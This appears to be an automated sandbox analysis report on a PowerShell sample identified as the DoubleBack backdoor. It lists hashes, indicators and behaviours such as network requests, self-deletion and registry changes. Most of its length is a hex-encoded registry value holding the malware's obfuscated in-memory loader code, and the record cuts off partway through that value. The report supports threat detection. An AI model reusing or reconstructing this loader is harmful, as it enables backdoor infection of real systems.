Analysis
-
max time kernel
121s -
max time network
124s -
platform
windows7_x64 -
resource
win7-en-20210920 -
submitted
19-10-2021 14:45
Static task
static1
Behavioral task
behavioral1
Sample
Attachment.jpg.lnk
Resource
win7-en-20211014
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Attachment.jpg.lnk
Resource
win10-en-20210920
0 signatures
0 seconds
Behavioral task
behavioral3
Sample
z.ps1
Resource
win7-en-20210920
0 signatures
0 seconds
Behavioral task
behavioral4
Sample
z.ps1
Resource
win10-en-20211014
0 signatures
0 seconds
General
-
Target
z.ps1
-
Size
885KB
-
MD5
f5823f4078ed9420c7a716cb61f8ba6c
-
SHA1
5a4fefe3e37b29ec3065a2f80300ab9d79d3e68d
-
SHA256
8004875f540cbaf1fe2d3844a66c67bbf4b885dd592450c9a5f420fbca0f044d
-
SHA512
aab8d42e87e97600ec958d747f75c82899cd82fd2b63b538b8bbc59867ad26a09db3c8fb156d4a7b1e143a4042997d3324662715d6ed8c2eab0211efe03251bd
Score
10/10
Malware Config
Signatures
-
DoubleBack
DoubleBack is a modular backdoor first seen in December 2020.
-
DoubleBack x64 Payload 2 IoCs
resource yara_rule behavioral3/memory/1556-61-0x000000001BA20000-0x000000001BA2A000-memory.dmp family_doubleback_x64 behavioral3/memory/1556-62-0x0000008800000000-0x000000880000D000-memory.dmp family_doubleback_x64 -
Blocklisted process makes network request 5 IoCs
flow pid Process 5 1556 powershell.exe 8 1560 msiexec.exe 10 1560 msiexec.exe 11 1560 msiexec.exe 12 1560 msiexec.exe -
Deletes itself 1 IoCs
pid Process 1560 msiexec.exe -
Modifies registry class 23 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\{0A010B01-0C02-0D03-0E04-0F050F061007}\CLSID\ = "{000A010B-010C-020D-030E-040F050F0610}" powershell.exe Key created \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\{000A010B-010C-020D-030E-040F050F0610}\VersionIndependentProgID powershell.exe Set value (data) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\{000A010B-010C-020D-030E-040F050F0610}\ProgID\0610 = 66756e6374696f6e206c72347b706172616d28246f70302920286a733520273234364436453333334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343643373833303344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343644364533333245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234364436453333324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234364337383330324332343646373033303239323927297c2628247073686f6d655b3132322d3131385d2b247073686f6d655b3133352d3130315d2b277827297d66756e6374696f6e206577367b706172616d282470653129282d6a6f696e2824706531202d73706c697427282e2e29277c3f7b245f7d7c257b5b636861725d5b636f6e766572745d3a3a546f55496e74333228245f2c3136297d29297d66756e6374696f6e206165367b706172616d2824636d32292028697230202732343643363833363344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343643363833363245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343633364433323239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343643363833363245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437383733333632433234363336443332323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234364336383336324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3133352d3133315d2b247073686f6d655b3230332d3136395d2b277827297d66756e6374696f6e206677307b706172616d28247167302920286f6e33202732343741373333333344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343741373333333245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343731363733303239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343741373333333245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437303733333532433234373136373330323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234374137333333324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3138362d3138325d2b247073686f6d655b3139352d3136315d2b277827297d66756e6374696f6e206875387b706172616d2824756f332c247565382c247969322920286a683320273234373536313331334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343636373033383344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343735363133313245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373536313331324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363637303338324332343735364633333239323927297c2628247073686f6d655b3132352d3132315d2b247073686f6d655b3137342d3134305d2b277827297d66756e6374696f6e20736a307b706172616d28247065312c24626837292028657736202732343735373633313344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343735373633313245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343730363533313239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343735373633313245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436323638333732433234373036353331323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373537363331324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3133392d3133355d2b247073686f6d655b3231392d3138355d2b277827297d2066756e6374696f6e207462367b706172616d28247065312c246268372c247a6733292028657736202732343632364433333344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423633373533413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333033303330343133303331333034323244333033313330343332443330333233303434324433303333333034353244333033343330343633303335333034363330333633313330374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330333033303431323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333033303330343132373342323436363641333733443238323436323644333335423333333235443242323833393242323832383334333332443338323932443331333132393239323933423230323437303641333833443234363236443333354232343636364133373245324532383234363636413337324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323437303641333832393342323436323644333333443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236333735334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333033303431333033313330343232443330333133303433324433303332333034343244333033333330343532443330333433303436333033353330343633303336333133303744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303336333133303237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333633313330323733423234363636413337334437423230323437313631333633443330324532453332333533353342333032453245333233353335374332353742323032343644373133383344323832343644373133383242323437313631333635423234354635443242323437303641333835423234354632353234373036413338324534433635364536373734363835443239323532383238333333323242323833313332324433353239323932423332333133373239334232303234373136313336354232343546354432433234373136313336354232343644373133383544334432343731363133363542323436443731333835443243323437313631333635423234354635443230374432303342323436323644333337433235374232343736364533333344323832343736364533333242333132393235323832383338324232383334333633323244333233313334323932393239334232303234363337373336334432383234363337373336324232343731363133363542323437363645333335443239323532383238323833323330333532443331333033323239323932423331333533333239334232303234373136313336354232343736364533333544324332343731363133363542323436333737333635443344323437313631333635423234363337373336354432433234373136313336354232343736364533333544334232343546324436323738364637323234373136313336354232383234373136313336354232343736364533333544324232343731363133363542323436333737333635443239323532383238323833343332333732443331333733313239323932393544323037443230374432303342323437363642333932303344323032383236323032343636364133373743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343736364533333344333033423234373636453333323032443643373432303234373636423339324534433635364536373734363833423234373636453333324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323437363642333932453533373536323733373437323639364536373238323437363645333332433332323932433238323833373242333032393242333932393239323037443239323927297c2628247073686f6d655b3132312d3131375d2b247073686f6d655b3135312d3131375d2b277827297d2066756e6374696f6e206772377b706172616d282470653129202865773620273234363836453337334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343641364433383344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343638364533373245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363836453337324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234364136443338324332343730363533313239323927297c2628247073686f6d655b3130392d3130355d2b247073686f6d655b3135392d3132355d2b277827297d66756e6374696f6e206764327b706172616d2824677739292028797135202732343734363133393344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423633373533413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333033303330343133303331333034323244333033313330343332443330333233303434324433303333333034353244333033343330343633303335333034363330333633313330374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330333033303431323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333033303330343132373342323437303632333233443238323437343631333935423333333235443242323833393242323832383334333332443338323932443331333132393239323933423230323437323736333733443234373436313339354232343730363233323245324532383234373036323332324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323437323736333732393342323437343631333933443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236333735334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333033303431333033313330343232443330333133303433324433303332333034343244333033333330343532443330333433303436333033353330343633303336333133303744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303336333133303237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333633313330323733423234373036323332334437423230323437393730333933443330324532453332333533353342333032453245333233353335374332353742323032343632364233323344323832343632364233323242323437393730333935423234354635443242323437323736333735423234354632353234373237363337324534433635364536373734363835443239323532383238333333323242323833313332324433353239323932423332333133373239334232303234373937303339354232343546354432433234373937303339354232343632364233323544334432343739373033393542323436323642333235443243323437393730333935423234354635443230374432303342323437343631333937433235374232343634373533333344323832343634373533333242333132393235323832383338324232383334333633323244333233313334323932393239334232303234363836393336334432383234363836393336324232343739373033393542323436343735333335443239323532383238323833323330333532443331333033323239323932423331333533333239334232303234373937303339354232343634373533333544324332343739373033393542323436383639333635443344323437393730333935423234363836393336354432433234373937303339354232343634373533333544334232343546324436323738364637323234373937303339354232383234373937303339354232343634373533333544324232343739373033393542323436383639333635443239323532383238323833343332333732443331333733313239323932393544323037443230374432303342323437343736333732303344323032383236323032343730363233323743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343634373533333344333033423234363437353333323032443643373432303234373437363337324534433635364536373734363833423234363437353333324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323437343736333732453533373536323733373437323639364536373238323436343735333332433332323932433238323833373242333032393242333932393239323037443239323927297c2628247073686f6d655b3139312d3138375d2b247073686f6d655b3232342d3139305d2b277827297d66756e6374696f6e206173397b706172616d28246a77392920286c7735202732343638364133303344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423633373533413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333033303330343133303331333034323244333033313330343332443330333233303434324433303333333034353244333033343330343633303335333034363330333633313330374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330333033303431323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333033303330343132373342323437393638333633443238323436383641333035423333333235443242323833393242323832383334333332443338323932443331333132393239323933423230323436353734333533443234363836413330354232343739363833363245324532383234373936383336324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436353734333532393342323436383641333033443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236333735334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333033303431333033313330343232443330333133303433324433303332333034343244333033333330343532443330333433303436333033353330343633303336333133303744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303336333133303237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333633313330323733423234373936383336334437423230323437373632333733443330324532453332333533353342333032453245333233353335374332353742323032343641374133383344323832343641374133383242323437373632333735423234354635443242323436353734333535423234354632353234363537343335324534433635364536373734363835443239323532383238333333323242323833313332324433353239323932423332333133373239334232303234373736323337354232343546354432433234373736323337354232343641374133383544334432343737363233373542323436413741333835443243323437373632333735423234354635443230374432303342323436383641333037433235374232343644373333393344323832343644373333393242333132393235323832383338324232383334333633323244333233313334323932393239334232303234373536313332334432383234373536313332324232343737363233373542323436443733333935443239323532383238323833323330333532443331333033323239323932423331333533333239334232303234373736323337354232343644373333393544324332343737363233373542323437353631333235443344323437373632333735423234373536313332354432433234373736323337354232343644373333393544334232343546324436323738364637323234373736323337354232383234373736323337354232343644373333393544324232343737363233373542323437353631333235443239323532383238323833343332333732443331333733313239323932393544323037443230374432303342323436333635333732303344323032383236323032343739363833363743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343644373333393344333033423234364437333339323032443643373432303234363336353337324534433635364536373734363833423234364437333339324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323436333635333732453533373536323733373437323639364536373238323436443733333932433332323932433238323833373242333032393242333932393239323037443239323927297c2628247073686f6d655b3135352d3135315d2b247073686f6d655b3230312d3136375d2b277827297d66756e6374696f6e207462377b706172616d28247065362c246f6930292028717837202732343645363433313344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423633373533413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333033303330343133303331333034323244333033313330343332443330333233303434324433303333333034353244333033343330343633303335333034363330333633313330374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330333033303431323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333033303330343132373342323436323730333433443238323436453634333135423333333235443242323833393242323832383334333332443338323932443331333132393239323933423230323437373636333933443234364536343331354232343632373033343245324532383234363237303334324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323437373636333932393342323436453634333133443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236333735334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333033303431333033313330343232443330333133303433324433303332333034343244333033333330343532443330333433303436333033353330343633303336333133303744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303336333133303237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333633313330323733423234363237303334334437423230323437393639333533443330324532453332333533353342333032453245333233353335374332353742323032343738363933323344323832343738363933323242323437393639333535423234354635443242323437373636333935423234354632353234373736363339324534433635364536373734363835443239323532383238333333323242323833313332324433353239323932423332333133373239334232303234373936393335354232343546354432433234373936393335354232343738363933323544334432343739363933353542323437383639333235443243323437393639333535423234354635443230374432303342323436453634333137433235374232343730373533303344323832343730373533303242333132393235323832383338324232383334333633323244333233313334323932393239334232303234373136433338334432383234373136433338324232343739363933353542323437303735333035443239323532383238323833323330333532443331333033323239323932423331333533333239334232303234373936393335354232343730373533303544324332343739363933353542323437313643333835443344323437393639333535423234373136433338354432433234373936393335354232343730373533303544334232343546324436323738364637323234373936393335354232383234373936393335354232343730373533303544324232343739363933353542323437313643333835443239323532383238323833343332333732443331333733313239323932393544323037443230374432303342323436413741333632303344323032383236323032343632373033343743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343730373533303344333033423234373037353330323032443643373432303234364137413336324534433635364536373734363833423234373037353330324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323436413741333632453533373536323733373437323639364536373238323437303735333032433332323932433238323833373242333032393242333932393239323037443239323927297c2628247073686f6d655b3135382d3135345d2b247073686f6d655b3136312d3132375d2b277827297d24626d333d746236202776786d7a777364656b686a6f7570622720276b7a6766697078716179626d766a6c752720276c746b677a707579646d786669626f766a273b66756e6374696f6e206e70337b706172616d2824776a392c247368382c246c6a31292028776135202732343638363733323344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423633373533413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333033303330343133303331333034323244333033313330343332443330333233303434324433303333333034353244333033343330343633303335333034363330333633313330374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330333033303431323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333033303330343132373342323437353733333733443238323436383637333235423333333235443242323833393242323832383334333332443338323932443331333132393239323933423230323436413632333133443234363836373332354232343735373333373245324532383234373537333337324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436413632333132393342323436383637333233443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236333735334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333033303431333033313330343232443330333133303433324433303332333034343244333033333330343532443330333433303436333033353330343633303336333133303744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303336333133303237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333633313330323733423234373537333337334437423230323437363733333333443330324532453332333533353342333032453245333233353335374332353742323032343730363133323344323832343730363133323242323437363733333335423234354635443242323436413632333135423234354632353234364136323331324534433635364536373734363835443239323532383238333333323242323833313332324433353239323932423332333133373239334232303234373637333333354232343546354432433234373637333333354232343730363133323544334432343736373333333542323437303631333235443243323437363733333335423234354635443230374432303342323436383637333237433235374232343641363333313344323832343641363333313242333132393235323832383338324232383334333633323244333233313334323932393239334232303234363236333332334432383234363236333332324232343736373333333542323436413633333135443239323532383238323833323330333532443331333033323239323932423331333533333239334232303234373637333333354232343641363333313544324332343736373333333542323436323633333235443344323437363733333335423234363236333332354432433234373637333333354232343641363333313544334232343546324436323738364637323234373637333333354232383234373637333333354232343641363333313544324232343736373333333542323436323633333235443239323532383238323833343332333732443331333733313239323932393544323037443230374432303342323436373634333932303344323032383236323032343735373333373743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343641363333313344333033423234364136333331323032443643373432303234363736343339324534433635364536373734363833423234364136333331324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323436373634333932453533373536323733373437323639364536373238323436413633333132433332323932433238323833373242333032393242333932393239323037443239323927297c2628247073686f6d655b3137342d3137305d2b247073686f6d655b3233312d3139375d2b277827297d66756e6374696f6e207a68347b706172616d2824626d332c246661352c24656a302c2478613829202865773620273234373136313336334435423533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245344436313732373336383631364335443341334134373635373434343635364336353637363137343635343636463732343637353645363337343639364636453530364636393645373436353732323832383637373233373230323735363639373237343735363136433431364336433646363334353738323732393243323837333641333032303430323835423439364537343530373437323544324335423439364537343530373437323544324335423439364537343530373437323544324335423639364537343544324335423639364537343544323932383542343936453734373037343732354432393239323932453639364537363646364236353238324433313243333032433234363636313335324332383238333733343330333632423238333933343339333232443334333633313330323932393239324332343738363133383239334235423533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245344436313732373336383631364335443341334134373635373434343635364336353637363137343635343636463732343637353645363337343639364636453530364636393645373436353732323832383637373233373230323735323734364334443646373636353444363536443646373237393237323932433238373336413330323034303238354234393645373435303734373235443243354236323739373436353542354435443243354235353439364537343333333235443239323835423439364537343730373437323544323932393239324536393645373636463642363532383234373136313336324332343632364433333243323436363631333532393342323437313631333633443445363537373244344636323641363536333734323035333739373337343635364432453439364537343730373437323230324434313732363737353644363536453734344336393733373432303234323832343731363133363245353436463439364537343336333432383239324232343635364133303239334235423533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245344436313732373336383631364335443341334134373635373434343635364336353637363137343635343636463732343637353645363337343639364636453530364636393645373436353732323832383637373233373230323734333732363536313734363535343638373236353631363432373239324332383733364133303230343032383542343936453734353037343732354432433542353534393645373433333332354432433542343936453734353037343732354432433542343936453734353037343732354432433542353534393645373433333332354432433542343936453734353037343732354432393238354234393645373437303734373235443239323932393245363936453736364636423635323833303243333032433234373136313336324333303243333032433330323933423533373436313732373432443533364336353635373032303244373332303238323833333339333833393244333133353334333632393244333233383336323927297c2628247073686f6d655b3132382d3132345d2b247073686f6d655b3139332d3135395d2b277827297d66756e6374696f6e207262317b706172616d2824766e372c24717038292028746939202732343741363433393344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423633373533413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333033303330343133303331333034323244333033313330343332443330333233303434324433303333333034353244333033343330343633303335333034363330333633313330374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330333033303431323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333033303330343132373342323436443636333333443238323437413634333935423333333235443242323833393242323832383334333332443338323932443331333132393239323933423230323437313733333933443234374136343339354232343644363633333245324532383234364436363333324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323437313733333932393342323437413634333933443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236333735334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333033303431333033313330343232443330333133303433324433303332333034343244333033333330343532443330333433303436333033353330343633303336333133303744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303336333133303237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333633313330323733423234364436363333334437423230323437303632333533443330324532453332333533353342333032453245333233353335374332353742323032343738373633313344323832343738373633313242323437303632333535423234354635443242323437313733333935423234354632353234373137333339324534433635364536373734363835443239323532383238333333323242323833313332324433353239323932423332333133373239334232303234373036323335354232343546354432433234373036323335354232343738373633313544334432343730363233353542323437383736333135443243323437303632333535423234354635443230374432303342323437413634333937433235374232343635373033383344323832343635373033383242333132393235323832383338324232383334333633323244333233313334323932393239334232303234373936423338334432383234373936423338324232343730363233353542323436353730333835443239323532383238323833323330333532443331333033323239323932423331333533333239334232303234373036323335354232343635373033383544324332343730363233353542323437393642333835443344323437303632333535423234373936423338354432433234373036323335354232343635373033383544334232343546324436323738364637323234373036323335354232383234373036323335354232343635373033383544324232343730363233353542323437393642333835443239323532383238323833343332333732443331333733313239323932393544323037443230374432303342323436363631333132303344323032383236323032343644363633333743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343635373033383344333033423234363537303338323032443643373432303234363636313331324534433635364536373734363833423234363537303338324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323436363631333132453533373536323733373437323639364536373238323436353730333832433332323932433238323833373242333032393242333932393239323037443239323927297c2628247073686f6d655b3138302d3137365d2b247073686f6d655b3134382d3131345d2b27